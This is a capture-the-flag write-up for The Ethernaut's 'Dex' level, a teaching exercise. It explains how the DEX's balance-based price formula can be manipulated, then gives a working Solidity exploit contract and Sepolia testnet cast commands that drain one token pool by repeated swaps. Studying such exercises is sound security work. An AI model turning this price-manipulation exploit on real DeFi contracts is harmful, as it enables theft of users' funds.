Dex - The Ethernaut - Writeup
The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.
The challenge contract uses this SwappableToken ERC20 token:
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
This is just a wrapper of a standard ERC20 token, with additional checks on the owner of approvals. Two instances of this SwappableToken are created and used in the following DEX (Decentralized EXchange):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
Analysis
When the DEX is created, its liquidity pool is fed with 100 token1 and 100 token2. We (the player address) have 10 tokens of each one, which represents a 9.09% of the total amount of tokens, which is a lot. Due to having a big share, prices can be manipulated, being able to drain one of the token pools.
We can follow this process:
- We ask to swap 10
token1fortoken2(all thetoken1we have). - The DEX computes the price
(10*100)/100 = 10. - The DEX takes our 10
token1and gives us 10token2. - Balances are now like:
- Liquidity pool:
(110, 90) - Us:
(0, 20)
- Liquidity pool:
- We ask to swap 20
token2fortoken1(all the `token2 we have). - The DEX computes the price
(20*110)/90 = 24. - The DEX takes our 20
token2and gives us 24token1. - Balances are now like:
- Liquidity pool:
(86, 110) - Us:
(24, 0)
- Liquidity pool:
Using this approach, we were able to get, in total, 24 tokens, having started with just 20. We can iteratively do this until we drain the DEX’s pool for one of the tokens.
Creation of the exploit
We can create a contract that automates this. First, we want to send our tokens to the contract. We’ll create a setup function that will transfer the tokens to the contract (having previously approved the transfer. We’ll take care of that later):
contract Exploit {
Dex public dex;
SwappableToken public token1;
SwappableToken public token2;
address player = address(0x12c5Da011f95E229Ba45f732e8f79608444D76b9);
function setup(address _dex_addr) public {
dex = Dex(_dex_addr);
token1 = SwappableToken(dex.token1());
token2 = SwappableToken(dex.token2());
token1.transferFrom(player, address(this), 10);
token2.transferFrom(player, address(this), 10);
}
}
Now, we’ll define an exploit() function that will mimic the logic described before:
function exploit() public {
bool swapToken1 = true;
SwappableToken tokenA;
SwappableToken tokenB;
bool finish = false;
while (!finish) {
if (swapToken1){
tokenA = token1;
tokenB = token2;
} else {
tokenA = token2;
tokenB = token1;
}
uint256 amount_to_swap = tokenA.balanceOf(address(this));
uint256 token2lost = dex.getSwapPrice(address(tokenA), address(tokenB), amount_to_swap);
if (token2lost > tokenB.balanceOf(address(dex))) {
amount_to_swap = tokenA.balanceOf(address(dex));
finish = true;
}
tokenA.approve(address(dex), amount_to_swap);
dex.swap(address(tokenA), address(tokenB), amount_to_swap);
swapToken1 = !swapToken1;
}
}
I am not sure if the if condition is necessary. I added it to avoid the transaction to abort because of having insufficient balance. I think it is not necessary, but it feels safer with it. Note that we also need to approve the DEX to take our tokens.
After deploying the contract, its address is 0xB9eeAED49D2a378F17A0Ab1dE4b383cEF5F65D0b. First, we need to approve it to take our tokens. Execute these commands to take the tokens’ addresses:
cast storage 0xeE29095BA9F6f3eb249254DdaD6EeC711F67e399 1 --rpc-url $SEPOLIA_RPC_URL
cast storage 0xeE29095BA9F6f3eb249254DdaD6EeC711F67e399 2 --rpc-url $SEPOLIA_RPC_URL
Now, we can approve the contract:
cast send 0xd32c1a4772c77181e9602692635bf8ab0e83c0a4 "approve(address, uint256)" 0xB9eeAED49D2a378F17A0Ab1dE4b383cEF5F65D0b 10 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
cast send 0x405eddf0be9f25fb99b5451468987ff843ad904d "approve(address, uint256)" 0xB9eeAED49D2a378F17A0Ab1dE4b383cEF5F65D0b 10 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
We are now in place to execute the setup() function of our contract:
cast send 0xB9eeAED49D2a378F17A0Ab1dE4b383cEF5F65D0b "setup(address)" 0xeE29095BA9F6f3eb249254DdaD6EeC711F67e399 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
And finally, execute the exploit() function:
cast send 0xB9eeAED49D2a378F17A0Ab1dE4b383cEF5F65D0b "exploit()" --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
We can now verify that we drained one of the tokens of the challenge’s pool:
cast call d32c1a4772c77181e9602692635bf8ab0e83c0a4 "balanceOf(address)" 0xeE29095BA9F6f3eb249254DdaD6EeC711F67e399 --rpc-url $SEPOLIA_RPC_URL

And we can submit the instance:
